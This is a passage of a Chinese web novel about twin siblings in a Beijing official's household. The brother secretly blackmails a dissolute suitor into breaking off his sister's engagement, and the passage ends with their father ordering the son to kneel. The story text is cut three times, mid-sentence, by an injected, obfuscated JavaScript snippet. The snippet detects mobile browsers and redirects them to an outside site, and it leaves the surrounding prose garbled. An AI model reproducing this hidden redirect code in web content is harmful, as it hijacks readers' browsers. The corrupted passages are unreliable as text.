“基本的礼数学完了，后面，我们学些别的。”这日结束前，陈筠与她道：“该教你算账，和怎么处理人情往来了。” 薛嘉宜眨着双杏眸，朝她行了个现学现卖的谢礼。 陈筠失笑，忍不住摸了摸她的脑袋，放她回去了。 —— 散学后，薛嘉宜回了次间，在案前铺陈纸墨。 抵达京城也有段时日了，她准备给在严州府的洪妈妈和安伯写封信，报个平安。 离开这么久，她怪想他们的。 傍晚时分，薛嘉宜咬着笔杆，正琢磨信的内容该怎么写的时候，薛云朔来了。 这回，他没有翻墙，倒是光明正大地走前头进来的。 “在写什么？我来了头也不抬。” “因为我知道是你呀。” 薛嘉宜抬起头，见薛云朔已经走到桌边了，还顺手放下了一个纸包。 “这是什么？” 她眼睛一亮，见这明显是给她带的吃食，不待他回答，就搁了笔，伸手拿过来了。 薛云朔淡淡道：“云片糕，记得你仿佛是爱吃。” 见薛嘉宜埋头拆着纸包，他低眸，唇边泛起了一点几不可察的轻松笑意。 “洪妈妈、安伯，见信如唔……”薛云朔顺手拿起了她搁在一旁的信笺读了起来，“你打算寄信回去？” 薛嘉宜拈了两块云片糕出来，第一块本想递到薛云朔嘴边的，但他皱了皱眉，明显是有点嫌弃，她就都塞到自己嘴里了。 见她不回答，只一面嚼嚼嚼一面点头，薛云朔轻笑一声，道：“你还真的学进去了。” 薛嘉宜把云片糕咽了下去，又啜了两口花茶清口，才道：“陈女官说，吃东西的时候要讲规矩，才是淑女。” 薛云朔挑眉看她：“之前还被她的手板打得抽抽噎噎的，晚上见了我就哭，现在倒是天天把她挂在嘴边了。” 薛嘉宜的脸立马热了起来，不无羞恼地道：“我……我只挨了那一回，你不许提了！陈女官对我很好。” 薛云朔低笑两声，倒也没再逗她。 早先那两天，她去上房的时候，脸上的表情跟上坟也差不多了，这段时间，能与那女官渐渐相处融洽，是好事。 他也并不觉得讶异。 她天性纯质，对人对事都是坦率真诚的，相处过后，那女官会喜欢她，实在是一件很正常的事情。 薛嘉宜想到了什么，忽然站起，把薛云朔摁到了自己的椅子上。 她翻出来另一张压花的信纸，又递上笔：“哥，你也写一写，我们好一起寄出去。” 薛云朔于感情上并不丰沛，不过她既提起，倒也绞尽脑汁写了两行。 两人的字迹大相径庭，放在一块儿时更是分明——一个大开大合、一个婉若银钩。 薛嘉宜看着他那行干干巴巴的“万事顺遂展信安”，笑了个不停。 薛云朔抬起黑白分明的眼瞳，斜她一眼：“怎么？我也得和你一样，把刚刚吃了几块云片糕都写上去？” 薛嘉宜轻哼一声，道：“怎么不能了？” 不过她也知道薛云朔的脾性，他一贯内敛，别说写信了，面对面时的话也不多。 她捻起信纸，吹干笔墨，非常仔细地叠好，再装到了信封里头。 薛云朔自然地从她手里接过，拿在手里掂了一掂，道：“那明天，我寄出去。” 他是正大光明走进来的，不好在妹妹房里待太久。 天色已经不早了，夜空中挂着几颗碎碎的星子。离开次间时，他无可避免地要从院子里穿过去，正好撞见了那薛泓。 薛泓假装没有看见他，却十分造作地与身边的小厮道：“哼，山沟沟里爬出来的，装什么相，还真当自己是薛家的长子嫡孙了。” 薛云朔平静地走了过去，没有理会。 他从不在螺蛳壳里做道场，更懒得争什么口舌之快。 像是一拳打在了棉花上，薛泓目光微滞，愈发恼了，转身又回去找他娘。 …… 秦淑月正在为庶务烦心，也懒得理自己的儿子。 今日，汝阳伯府终于派人送来了男方的庚帖。眼见这门亲事已经八九不离十，她松了口气，又开始为薛嘉宜的嫁妆犯愁。 朱婉仪没有留下多少嫁妆，当年朱家出事，值钱的东西还有恒产，基本上都叫她变卖了，眼下薛嘉宜要出嫁，嫁妆只能家里出了。 然而薛家账上的是收支情况实在一般，薛永年还要支去其中大半，用在他的酬酢上。 也不是没有办法，但是秦淑月是不舍得为了这个便宜女儿，从自己能摸到的油水里抠出去多少的，这会儿可不就犯了难。 “娘——”见母亲不理他，薛泓开始拖着长音抱怨：“那乡巴佬越来越不懂礼数了，在家里，在学塾，见到我连招呼都不打。” 秦淑月看着账本，本就烦得要死，随口道：“那你给他打招呼不就成了？” 薛泓一噎，随即又不甘地道：“娘，你是不知道，这乡巴佬可精了。” “他还整天鬼鬼祟祟的，还逃学！先生都不知道，课上还夸他！我早晚要去和父亲说，叫父亲罚他。” “你父亲本就不在意他，告小状做什么？只显得你没有兄友弟恭的样儿。”秦淑月顺嘴说完，忽然放下账本，皱起眉问：“你说，先生夸他……夸了什么？” 薛泓嘟囔着道：“就，说他机灵， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088594|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点就通啊，还说他字写得好。” 徐家族学里的先生，不说是大儒，也是老学究了。 秦淑月心里犯了嘀咕：不通文墨的乡下小子，来京进学不久，就能得先生青眼……莫不成之前，都是在装相、在藏拙？ 她眉心微蹙，没把心里想的跟儿子说，只道：“你平时也机灵些，别傻乎乎地跟人家找茬，再有他什么事，你只和母亲说，听见没有？” —— 两家交换了庚帖的事情，薛嘉宜是知道的。 但她并没有告诉薛云朔。 她担心他知道了，会做出冲动的事情，到时候反而连累他。 日子一天翻过一天，继母已经开始派人来量她的身形，准备给她裁制嫁衣了。 尽管已经做好了心理准备，看到面前鲜红的锦缎时，薛嘉宜还是有些难受。 回到薛家的这段日子，她看得出来，那个身为她父亲的男人，对她、抑或者她故去的母亲，没有半点感情。 他接她回来，就只是要她做这个联姻工具。 既然这样，即使不嫁这一位，随便换一个谁，又能强到哪里去？ 薛嘉宜抚摸着织锦的纹路，深吸一口气，努力平复心情，安慰着自己。 没关系的，也许不全是坏事。 至少哥哥也来京城了，如洪妈妈所说，他不会在乡下蹉跎下去。 她嫁了人，也许日后还能帮到他。 薛嘉宜纤密的眼睫轻颤，一滴晶莹的泪珠悄悄掉了下来，在锦纹上洇开了。 侍候她的丫鬟玉屏见了，以为她是因为待嫁而惶恐，出言安慰道：“大姑娘，别难过，女儿家总是要嫁人的。奴婢看那伯府，也算是煊赫人家，嫁过去之后呀，你可就是世子夫人了。” 薛嘉宜抿着唇，说不出回应的话。 就在这时，秦淑月身边的紫珠又来了。 紫珠眉目含笑，送来一只锦盒，道：“大姑娘，魏二公子那边，得知婚期已定，特地派人送了礼物来，要我们给您呢。” 薛嘉宜偷偷擦了一把眼泪，微笑点头，道：“好，我收下了，替我多谢魏公子。” 紫珠心下暗道：这太妃宫里出来的女官的确有本事，如今瞧着大姑娘的礼仪气度，已经看不出半点乡下回来的影子了。 不过她面上不显，只笑着递出锦盒，又奉承道：“魏公子对您可真是上心，巴巴地送了礼物来，大姑娘，你看要回礼吗？” 揩掉那一点泪花之后，薛嘉宜的心里已经没有什么情绪了：“不必了。” 她平静地接过锦盒，就要放下的时候，一旁的玉屏倒像是有些好奇，开口问道：“这锦盒四四方方的，也不大，不知是送了什么宝贝？” 长条的也许还是个簪子，这形状，倒真的难猜。 薛嘉宜垂了垂眼，把盒子递到玉屏手上，道：“那你替我拆了吧。” 玉屏小心翼翼地托起，见紫珠没有说话，看眼神也像是有些好奇的，于是打开了它。 薛嘉宜没有在意，然而两个丫鬟，却齐刷刷地发出了倒吸一口凉气的声音。 她觉得奇怪，偏头，想看一眼盒内是什么东西，玉屏却手足无措了起来，手忙脚乱地就要把盒盖扣回去。 然而薛嘉宜已经看见了。 锦盒里装着的，是一对正在交合的白玉摩罗。 赤条条的，极为露骨。 紫珠的脸色都有些白了。 成婚前，长辈会教导男女之事没错，可这魏公子自己送来这样的“礼”，是拿薛家的姑娘当什么了？ 玉屏的手颤颤的，把盒子扣上了。她不无瑟缩地看向薛嘉宜，道：“大姑娘，这……” 薛嘉宜阖上眼帘，深吸了一口气。 她听见自己的声音在说：“放桌上吧，你们都出去。” —— 薛云朔回到薛家的时候，巡夜人的梆子都已经敲过了三更。 夜已深沉，本不该再去找她了，但是他揣着一件值得立即告诉她的好事情。 于是，他还是翻上了矮墙，打算碰碰运气。 也许她还没睡呢？ 那扇窗前，竟还真的亮着灯。 而她侧坐在窗扇边，像是正在发呆。 再沉稳，薛云朔也不过是个连十七都没有的少年，见状，他再克制不住心底漂浮的情绪，直接唤道：“浓浓——” 薛嘉宜微微一怔。 在母亲去世后，只有一个人会这样叫她。 ……其实在两人都长大些之后，他也很少这样叫她了。 因为这个小名于音韵上实在是太黏糊，噙在唇齿间，就像一块化不掉的饴糖。 薛嘉宜站起来，她抬起稠密的眼睫，有点呆呆地看向声音的来处：“哥。” 半蹲在矮墙上的少年跳了下来，倾斜的月光将他的身影拉得很长、很高大。 他扬起眉梢看着她，眉宇间，是一种志在必得的意气。 “你不用嫁给那个混球了。” “这件事，我已经解决了，明天，魏家的人自会来解除婚约。” 11. 011 薛嘉宜瞳仁微颤，几乎不敢相信自己听见了什么。 她不可置信地道：“哥，你说什么？” 薛云朔的脸上并没有挂着明晃晃的笑，可他的心情大概真的很好，甚至还有闲情逸致，朝她眨了眨眼，卖了个关子。 “哥哥还能骗你玩儿不成？给我端杯水来，我就告诉你。” 月光蒙蒙的，并不太亮。薛嘉宜这才发现，在这样萧索的深秋里，他的额上，竟然还冒着一层热气腾腾的薄汗。 她回过神来，一面探身去拿杯子，一面道：“早过宵禁的点了呀，哥，你是从哪里回来的，怎么跑了一头汗？我的帕子呢……” 她手忙脚乱的，一时不察，将桌上那只锦盒带倒了。 想到盒子里装的是什么，薛嘉宜一窘，正要赶紧把那摩罗放起来，窗台边，好整以暇地看着她的薛云朔却是眉头一皱，先她一步，劈手将它拿了过来。 他一眼就发觉不对了，拿上时只觉手心都发烫：“等等，这是哪里来的？” 薛嘉宜默不作声，给他倒了水来。眼见他直勾勾地盯着她不放，她才声如蚊讷地回答了：“是……那姓魏的送来的。” 薛云朔眉心一刺。 这种时候送这种物件，是什么意味，不言自明。 捏在这摩罗上的修劲手指用力到快把它捏碎了，他才堪堪忍住把这玩意儿，狠狠地掼到地上的冲动。 算了，夜深人静的，砸在她屋子里，也是给她惹麻烦。 “我来处理。” 薛云朔连盒子带摩罗收走了，端起茶，猛喝了一杯。 乍听得兄长方才的话时，薛嘉宜自然是欣喜的，可欣喜褪去之后，她看向他的眼神，却隐隐有些忧虑。 她当然不是怀疑他骗她。 从小到大，他说出口的话，就没有食言过。 可她怕的就是这个。 公侯之家，薛家对上他们都算是高攀，而他更是赤手空拳。 她害怕他为了她，做出什么以卵击石的事情。 “哥……”薛嘉宜小心翼翼地开口了：“你刚刚说，喝过水就告诉我的。” 薛云朔放下杯子，朝她抬了抬唇角，轻快地道：“放心，没杀人，也没放火。” 杀人放火是下下策，一不小心就会引火烧身，届时，也难免牵累到她。 他知道分寸。 这个潦草的答案，显然不能让薛嘉宜放心。 一时之间，婚事告吹的喜悦，都没有办法盖过她心里的忧虑了。 她上前一步，隔着窗台抓住了他的袖子，摇了又摇，撒娇道：“哥，你不告诉我，我可真没法睡了。” 薛云朔方才答应告诉她，不过是一时嘴快。眼下她真的问起，他还是琢磨了一下，要不要直接说与她听。 他想了想，决定掐头去尾地解释几句，问道：“还记得，我们的外祖父，从前是为谁效力吗？” 薛嘉宜从前对于这些事情的认知，其实并不清楚。 但是这段时日，陈筠不止教她礼仪、以及府宅内的事情，之于朝局、京城的人事往来，也隐晦地与她说了一些。 ——这也是为什么宫里出来的女官受欢迎、时常被大户人家争抢，因为她们能教宫外的女师教不了的东西。 尽管四下无人，薛嘉宜还是压低了声音才回答：“我知道的，是从前那位……太子殿下。” 当年的这位太子殿下是皇后所出，从出身，到能力，都可以说是无可指摘的储君。 就连私德都挑不出错来——据说他与太子妃伉俪情深，一个侧妃也没纳，只守着她一人。 然而皇帝已过春秋鼎盛之年，尚还年轻的太子在这个位置上，没错就是最大的错处。 皇帝心知肚明这个儿子没错，否则早就废了他，与此同时，提防打压也没停过，还扶持了他同母所出的弟弟三皇子、以及德妃所出的五皇子一起打擂台。 只是权力场的倾轧太残酷，后来的局面，大概也超脱了皇帝自己原本的制衡之意。 一次监国、一场刺杀，最后，太子落得个刺杀君父、意图谋逆的罪名、被迫自尽以证清白，而当时身怀六甲的太子妃，则在惊惧之中难产，母子俱亡。 回过劲后，皇帝却又开始彻查，查到所谓谋逆皆是五皇子陷害。然而他已经失去了一个儿子，没舍得再杀，只将五皇子废为庶人，圈禁府中，直至今日。 这么多年过去，皇帝有没有后悔不好说，当年的惊变，却已经是讳莫如深的秘辛，满京城人都绝口不敢再提。 薛嘉宜的眼睫忽闪，道：“可是……这些和婚事有什么关系？” 薛云朔已经筹措好了语言，简明扼要地回答道：“这么多年过去，皇帝如今的儿子，都不如那位故太子出息，他后悔了，开始缅怀。也正因如此，像魏家这种昔年受到牵连的太子党，得以陆续恢复爵位。” 薛嘉宜听得有点儿不是滋味了。 无论太子还是皇帝，对她来说都是很遥远的词汇，她并不会为了这些高高在上的贵人而共情。 她只是想到了母亲。 她能记事的时候，朱家已败亡多年，她根本没有见过自己的外祖父，更没见过那些舅舅和姨母。 可她从母亲的嘴里，认识过他们，知道他们，也都是活生生的人。 爵位还能恢复，死了的人却不能活过来了。 而皇帝的那一点后悔，更是显得这些人命，薄如纸屑。 薛嘉宜有些难过，下意识搓了搓手指，搓完才反应过来，自己拽着的是哥哥的袖子，赶忙松开。 薛云朔把她的小动作看得分明，低头，不经意般把袖子又递给了她。 “魏家如今的倚仗，便是他们的太子旧臣身份。”他轻描淡写地说了下去：“可惜他们的儿子不争气，认识了一些不该他这个身份认识的朋友。” “这件事若叫有心人知道，把他们的首鼠两端捅到皇帝那里去，魏家这个爵位，恐怕捂不热了。” 薛嘉宜的心咚地一跳，仿佛是听明白了：“那魏二……是与其他皇子的党羽，相交了？” 薛云朔平静地点头，只有嘴角泛着一丝几不可察的冷嘲。 其实他原本没想沾惹这些。 那日偷听得汝阳伯夫人的谈话，便知这桩婚事，于魏家来说不是非要不可的，根源在那魏祺，竟敢觊觎他的妹妹，还有所谓朱家留下的家资。 所以，他盯住了他。 发现此人嗜赌之后，薛云朔起初只打算在赌桌上做局，坑他一把大的，想着到时候以利相逼，他不取消婚约也不行了。 谁知这魏祺身上有这样大的破绽。 也许连魏家人自己都不知道，自己的儿子背地里，早与三皇子搭上了桥。 可细想却又不是那么意外—— 若非背后还有人撑腰，当年魏家深受牵连的时候，这魏祺又怎么做得了作威作福的衙内？ 见薛云朔点头，薛嘉宜的心更是扑通扑通地狂跳了起来。 这回，她不抓他的袖子了，直接握住了他的小臂，急道：“哥！” 是没杀人放火，可是牵涉到储位之争，不比杀人放火还要危险吗？ 他还是拿魏家的命根子——失而复得的爵位来威胁的，对方要知道了，怎么可能不报复！ 薛云朔知道她在急什么，勾唇笑笑，还伸出食指比到她鼻尖前，轻声示意道：“嘘——动静太大，一会儿把你的丫鬟引来了。” 他的声音是好听的，放低了之后，更是有一种说不出来的磁性，然而薛嘉宜是半点欣赏的心情都没有，急得都跳脚。 见她真是担心得要命，薛云朔也不逗她了，正色解释了两句：“我没有挑与伯府知道，只私底下见了魏祺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088595|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一人，和他说明白了。” 那魏祺虽是纨绔，却不是蠢人。他清楚，若真因他的缘故而丢掉了魏家的这个爵位，他爹再宠他，恐怕也要把他的腿打断。 相比之下，回家去犯浑打滚、让家里把一桩议到一半的婚事取消，实在是很小的代价。 薛嘉宜努力分辨了一会儿，最后还是蔫巴下来了。 “哥。”她又叫他，只是这一声软绵绵的，带着些无可奈何的意味。 她咬着唇道：“下一次……你别再这样了。” 别这样冒险了。 整件事情做下来，绝对没有他嘴上说得这么轻巧。 薛云朔挑眉看她，反问道：“你还想有下一次？” 薛嘉宜却没有开玩笑的心情。 她松开了握着他的手，垂着眼道：“我害怕，哥，我可以嫁人，可我不能失去你。” 今晚，她看着那耻辱一般的白玉摩罗，思考了很久很久。 她在想，婚事若成，她要怎样保护自己，要怎么做，才能活得稍微好一些。 可现在，她只是想到如果魏家的人报复，他若遇到危险，她再也见不到他…… 她的脑子竟就成了一片空白，什么也想不下去了。 相比嫁给谁，她更不能接受这样的可能。 朝夕相伴十六年，她不能失去他，永远不能。 薛云朔瞳光闪烁，似乎有所触动，开口时，他的声音却冷了下来：“谁叫你选了，薛嘉宜？” “我会顾好我自己，你别……” 他刚想说，别杞人忧天了，一低眸，却见窗槛上，蓄起了两汪浅浅的湖。 她的眼泪安静无声，而天边的弦月，也正安静地倒映在湖底。 铁做的心也要软下来，薛云朔的话立即就拐了弯：“别哭了……浓浓。” 薛嘉宜咬着唇，轻轻捶他一下：“你刚刚想凶我，喊我大名了，我都听见了。现在换小名，没用。” 她抽了抽气，继续道：“而且，你明明答应了我，我们一起想办法的。结果还是一个人闷声不响，把什么都干完了。” 哭归哭，她脑子还怪清楚的，前面他说的一字一句居然都还记得。 薛云朔被她弄得哭笑不得，只得道：“不会有下一次的，好不好？别哭了。” 他实在很不会哄人，好在薛嘉宜抹抹眼泪，倒也真的不哭了。 她紧抿着唇，抬起被泪水涤过后格外澄明的一双眸子，定定地望着他。 视线相接的瞬间，薛云朔的眼瞳亦是微颤，有些说不清楚自己心里是什么感受。 良久，薛嘉宜方才垂下濡湿的眼睫，轻声道：“谢谢你，哥哥。” 见她展颜，薛云朔悄悄松了口气，随即用轻松地转过了话题：“既然说谢我，那我可要和你讨谢礼了。” 薛嘉宜破涕为笑：“好呀，你想要什么？” 薛云朔别开视线：“你先记着，等我想好再说。” 可等到走前，他却又转过身来，推翻了自己刚说的话：“我不需要你的谢礼。” 薛嘉宜一怔，紧接着，便见她的兄长注视着她，一字一顿地道：“做这些，本就是值得的。” —— 这一晚，薛嘉宜睡得意外安稳。 第二天起来，她正要和往常一般，去到上房里，随陈女官进学，前院里却突然急匆匆跑来个丫鬟，与她知会道：“大姑娘，您先别过去了，前头闹了起来呢，女官也先回去了。” 想到昨晚兄长所说，薛嘉宜眉心一跳。 这也太快了。 她垂了垂眼，仿佛不经意般问道：“怎么会闹起来呀？可是出什么岔子了？” 这丫鬟似乎有些张不开口，但见薛嘉宜执着，她还是吞吞吐吐地说了：“是那汝阳伯府的夫人……她来了，说、说要退还庚帖，与我们薛家退婚。” 12. 012 送走那位汝阳伯夫人后，秦淑月憋了一肚子邪火。 “婚期都定了，这时来悔婚，她还趾高气昂的，仿佛我欠她似的！” 莫说面对面切磋的她气不顺了，就是一旁围观的紫珠这会儿都忍不住道：“这伯府真是好生轻狂，夫人莫气了，气大伤身，为了这种人不值当。” 秦淑月坐下，喝了端茶，勉强冷静下一点后，皱着眉又啐了一口：“还说什么命数相克，八字不早就合过了？我看，八成就是这魏家的又有别的高枝想攀了。” 闻言，紫珠不禁笑了一声，道：“就他们那二公子，可别……” 秦淑月的脸色却忽然沉了下来，淡淡乜了她一眼。 紫珠意识到不对，赶忙收声。 魏二公子品性如何，都是心照不宣的，可要真说出来，不成了她们主动把大姑娘往火坑里推吗？ “行了，不该说的别说了。”秦淑月复又起身，嘀咕道：“不高嫁也好，剩得我费劲巴拉琢磨那点嫁妆。左右我是尽心了，事情黄了也赖不到我头上。” 尽管心里隐隐约约觉着，伯府突然退婚有些蹊跷，但秦淑月什么也没说，转身摆出一副遗憾又惋惜的模样，去上房里和薛老夫人禀报去了。 薛老夫人自是同样冷了脸下来，末了又道：“也是那朱氏的女儿没福气。” 秦淑月赔着耐心哄了一会儿。 里里外外地一通操持整理，到了晚间，她又硬着头皮，去找刚下值回来的薛永年，说了今天这事。 秋冬交界之际，京城风沙大，尽管来去都有车马，薛永年的幞头上，还是沾了不少沙粒。 他摘了泛黄的头巾下来，随意搭在了一边，听着秦淑月细细说来，眉心渐皱，忽而问道：“今日之前，退婚之事可有征兆？” 到底事情没成，秦淑月不想连带着吃挂落，于是全都往伯府身上推：“没呢！就昨天，那伯府的二公子还主动差人送了礼物给大姑娘，想来对婚事是极满意的，不知怎地，伯府今日便反口了。” 紫珠在旁边不敢说话，更不敢提那礼物是什么。 薛永年的眉心依旧皱着。 难道说，是汝阳伯府故意戏弄他们，可又何必浪费这样多的时间？ 况且这场婚事也不止对薛家有利，如今的汝阳伯，就没期待着身在吏部的他，他日拉拔一下女婿吗？ 薛永年觉得此事很蹊跷，一时间却又说不出蹊跷在何处。 左右事情已成定局，尽管他有些恼怒于伯府的反复无常，到底也没太生气。 “罢了。”薛永年淡淡道：“大姑娘的婚事，再留一留吧，左右她还小，可以再留两年。” 虽然说薛嘉宜已经及笄了，不过京城稍微疼女儿些的人家，基本上也要把人留到十八九岁上再嫁。 秦淑月半悬着的心放了下来——还好，没她什么事。 她应下了丈夫的话，紧接着，又听得他捋着须道：“今日时候早，把薛泓叫来，我问问他的功课。” 秦淑月才放下的心又提起来了。 儿子几斤几两，当娘的再清楚不过。不过父亲垂问学业，是亲厚的表现，她还能拦着不让问不成？立即便着人去把薛泓叫了过来。 薛泓刚从学塾里回来不久，见到父亲正襟危坐着，他心里便开始打鼓，等到薛永年多问了几句，他更是紧张得额角汗都下来了。 薛永年的声音则愈发冷肃：“我看你这书，是越发不知读进谁的脑子里了。再这样，你不必去了，省得丢我薛家的脸。” 其实薛泓的功课未必很差，约莫中等的水平，但薛永年自己，当年是在没有宗族依托的情况下，一试即中了探花的，自然瞧不上这个“中等”。 薛泓肩膀一颤，委屈地回了句嘴，秦淑月叫他唬了一跳，赶忙过去拢着他的肩膀，压着他、替他告罪道：“是我太宠着他了，老爷别生气，我回头就罚他——没心肝的东西，还敢和你父亲顶嘴？快给你父亲赔不是！” 母亲也不向着他，薛泓只觉天塌了，更是梗着脖子道：“儿子哪儿错了？我知道我不聪明，可每日读书也没有懈怠过，那薛云朔都不止逃几次学了，父亲都没有责骂过他。” 秦淑月心道：蠢儿子哟，你爹不问，是因为他压根没想起来另一个儿子！ 然而话一出口，捂他嘴也是来不及了的。 薛永年的眉梢抬了起来：“逃学？” 薛泓以为告状告成了，立马昂声道：“是。自打进学以来，他一直都不专心，时常趁着先生留我们自省念书的时间溜出去。” 薛永年微微眯了眯眼，神色因为这个动作而变得有些微妙。 逃学…… 一个才从严州府回来，在京城人生地不熟的小子，他逃学，能去哪？又或者……是要去哪儿？ —— 婚事告吹之后，薛嘉宜依旧和之前一样，每日去上房与陈女官学习。 如今没有了讨厌的婚事在前，她学得更加认真了。陈筠看在眼里，没有点破，只多夸了她两回。 傍晚的时候，薛嘉宜抱着账本，到西厢找哥哥去了。 ——她寓居在秦淑月的院子里，书房是薛泓的，她不想和他共用。 这几日都是这样，薛云朔下学，她也下学，两人一起在西厢那边的稍间里读书习字。 丫鬟玉屏侍候着薛嘉宜，也跟来了。 看着书桌前兄妹俩的身影，玉屏微微皱起了眉，心里有些说不上来的感觉。 即使一母双生，兄妹俩这样……是否也有些太过亲近了？ 可硬要说的话，两人却又保持着合适的距离，你在这一头我在那一头，两个脑袋都低着，做功课做得很认真。 明明连眼神都少有交流，更没有什么出格的举动，偏偏就是散发着一种，谁也插不进去的氛围。 薛嘉宜丝毫没察觉背后的眼神。 陈筠不是一个苛刻的老师，留的功课不多，她已经快做完了。 她一边拨弄着算筹，一边支着腮，偷眼望向薛云朔。 远山尽处，金乌尚未完全坠下，月亮却已经升到了半空。冷暖交错的光线里，他垂着密实的眼睫，侧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088596|179605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸清晰流畅。 薛云朔没有抬头，只拈着笔杆，探手往她脑门上精准地敲了一下。 “看我做什么，该算的都算完了？”他低声问。 薛嘉宜不说话，只捂着脑门点头，然后把面前的本子，展开到她折了角的部分，往他的面前推了推。 薛云朔了然，把自己的书合上了，斜了一眼她勾勾画画的地方，拿过她的算筹，教她摆了一摆。 薛嘉宜思考了一会儿，抬起胳膊肘，把算筹拢回到自己跟前儿，重新又算了一遍。 没多久，她又把本子推来了。 薛云朔以为她还有不明白的地方，低眸，却见纸页上写了一行话。 ——安否？顺否？ 有下人在旁边，她不好张口问，只能这样了。 薛嘉宜托着腮，眨着眼看他。 薛云朔提笔的手一顿。 魏祺是魏家仅剩的独苗，所以，他突然反口说不想结亲了，汝阳伯和伯夫人虽然奇怪、虽然无奈，最后却也只能依了儿子的意思。 威胁的目的已经成功达成，当时留下的证据，自然要依言交给他，不能让这人狗急跳墙。 薛云朔垂着眼，在“安”和“顺”两个字上，各自勾了一下。 然后把本子，往她的方向轻轻推了回去。 什么嘛，这么言简意赅。 薛嘉宜不满意这样潦草的答复，在纸上追问：“真的这么老实吗？我怕他报复你。” 像是怕他还这样回答，她在旁边画了一个圆溜溜的眼睛，盯着他、盯着他。 她提笔在纸上画圈圈的时候，薛云朔就已经察觉到了，可等亲眼看到她画下的这个表情时，还是没忍住，勾唇一笑。 他稍想了想，也动笔在纸上画了起来。 ……画了一个房子，上面写了一个“魏”字。 房子外一个细细的、柴火棍似的人，抱着头；房子里两个大大的柴火棍人，一个提刀一个举棒槌。 画得太丑了，薛云朔简直不忍心看第二遍，闭着眼给她推了过去。 薛嘉宜也没忍住，绷着脸，还是发出了漏气一般的声音，笑了出来。 丑是丑了些，看还是能看懂。 魏祺比谁都更想瞒住自己的事情，他不会闹到家里的。 不过，薛嘉宜却还是很担心。 都叫衙内了，能是什么好人吗？他或许不会闹起来，可没准哪天敲闷棍呢？ 她咬着笔杆，正想着该怎么和哥哥说，要他平时小心一点，一阵脚步声传来，忽然打断了她的思绪。 尽管不是在上课，薛嘉宜还是有一瞬心虚，下意识把本子给合上了。 薛云朔先她一步，循声看了过去。 见来人是谁之后，他的眉心微蹙。 是他们父亲身边的长随，姓查，叫查胜。 这查胜生了张瘦削的脸，两腮凹陷无肉，看人的时候，眼睛里带着些莫名的笑。 “倒正好都在这儿。”查胜躬了躬身，道：“随我来吧，老爷那边……请你二人过去一趟。” 13.013 夜风悄过，月色昏沉。还没到地方，薛嘉宜心下便渐觉有些不对。 薛永年的精力不在后宅，更不在子女身上，一应事宜，他都交由秦淑月处理，不会耽搁他自己的时间。 回薛家之后，她极少见到这个父亲，只偶尔会在去上房给薛老夫人请安的时候，与他打个照面。 现在，天色已晚，对他们从来不闻不问的父亲，却突然着人把他们叫过去…… 薛嘉宜隐隐有一点心虚，频频往身侧的兄长看去。 天边的月亮半明半寐，薛云朔的眸光亦是微闪。 他在心里把这段时间以来的事情盘了一遍，确信自己没露出什么行迹之后，不动声色地偏了些头，无声地朝她安抚道：没事。 即使有事，也与她没有关系。自始至终，本就只是他一人所为。 薛云朔平静地想着，本就锋利的眉梢，在浅淡的月色之下，更添几分冷然的颜色。 薛嘉宜心怀惴惴，这种忐忑，在发觉查胜是领着他们往前院去的时候，变得愈加明显。 正堂里，灯火通明，这里是薛永年平素处理公务、与宾客往来的地方。这会儿，他身上官服未换，正坐在案前，翻看着一叠公文。 秦淑月则站在一旁，挽了袖子，替丈夫磨墨。她看了一眼站在堂前的兄妹俩，没有说话。 直到两人异口同声地朝他行礼，生疏地喊了一句“见过父亲”，薛永年方才从公文里拨冗掀起眼皮，淡漠地往前扫了一眼。 接这双儿女回京已有月余，然而时至今日，薛永年才终于正眼，审视这个发妻留给他的儿子。 不过十六出头，正是最轻狂的年纪，却已经是容止可观、进退可度。只有丝毫不像他和朱婉仪的一双眼睛里，能看出一点强自压抑着的桀骜与不驯。 “进学也有些时候了，云朔。”薛永年终于开口，声音甚至称得上温和：“这段时日，在学塾里待得可好？” 薛云朔垂着眼，答得周全：“谢父亲关怀。先生博学、同窗友善，我在学塾一切都好。” “哦？”薛永年放下手中的笔，拍了拍手，又问：“最近，都与什么人相交了，又都去过何处，与为父聊聊吧。” 他取仕已有二十载，如今也是一部主官，宦海沉浮多年，即使没有刻意摆出咄咄逼人的语气来问话，依旧透着一股不可忽视的威压。 一旁的薛嘉宜闻言，心突地一跳。 是她的错觉吗？这两个问题…… 薛云朔显然也感受到了话里的指向性。 他抬起眼瞳，与案前那位可称他父亲的人对视的瞬间，脊背便爬升起一股寒意。 没必要回答了。 这是一个已经有了答案的问题。 他的父亲已经猜到了，这桩婚事，为什么魏家那边会反复无常。 果然，下一息，薛永年直视着他乌沉沉的眸子，淡淡开口，声音冷了下来。 “跪下。” 